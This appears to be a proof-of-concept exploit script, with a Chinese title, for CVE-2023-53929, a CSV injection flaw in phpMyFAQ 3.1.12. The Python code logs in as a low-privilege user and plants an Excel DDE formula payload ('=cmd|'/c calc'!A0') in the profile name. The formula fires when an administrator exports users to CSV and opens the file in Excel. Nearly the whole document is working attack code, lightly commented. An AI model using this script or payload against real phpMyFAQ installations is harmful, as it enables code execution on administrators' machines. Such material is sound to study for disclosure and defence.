CVE-2023-53929: phpMyFAQ CSV注入漏洞导致远程代码执行

#!/usr/bin/env python3 """ CVE-2023-53929 PoC - phpMyFAQ CSV Injection This PoC demonstrates the CSV injection vulnerability in phpMyFAQ 3.1.12 """ import requests import re # Configuration TARGET_URL = "http://target-ip/phpmyfaq" USERNAME = "attacker" PASSWORD = "attacker123" # Malicious payload for CSV injection # This payload will execute calc.exe when opened in vulnerable Excel versions CSV_PAYLOAD = "=cmd|'/c calc'!A0" # Alternative payload using pipe syntax CSV_PAYLOAD_ALT = "calc|a!z|" def login(session, username, password): """Login to phpMyFAQ and return session cookies""" login_url = f"{TARGET_URL}/index.php" data = { "action": "login", "username": username, "password": password } response = session.post(login_url, data=data) return session if "login" not in response.url else None def inject_payload(session, payload): """Inject malicious CSV payload into user profile name""" profile_url = f"{TARGET_URL}/index.php?action=edituser" data = { "realname": payload, "submit": "Save" } response = session.post(profile_url, data=data) return "success" in response.text.lower() def export_users_csv(session): """Trigger CSV export of user data (requires admin privileges)""" export_url = f"{TARGET_URL}/admin/index.php?action=exportusers" response = session.get(export_url) return response.content def main(): print(f"[*] CVE-2023-53929 PoC - phpMyFAQ CSV Injection") print(f"[*] Target: {TARGET_URL}") session = requests.Session() # Step 1: Login as low-privilege user print("\n[1] Authenticating as low-privilege user...") if not login(session, USERNAME, PASSWORD): print("[-] Login failed") return print("[+] Login successful") # Step 2: Inject malicious payload into profile name print(f"\n[2] Injecting payload: {CSV_PAYLOAD}") if inject_payload(session, CSV_PAYLOAD): print("[+] Payload injected successfully") else: print("[-] Failed to inject payload") # Step 3: Notify admin to export users print("\n[3] Payload planted. When admin exports users to CSV,") print(" the malicious formula will be triggered in Excel.") print("\n[*] Attack complete. Awaiting admin action...") if __name__ == "__main__": main()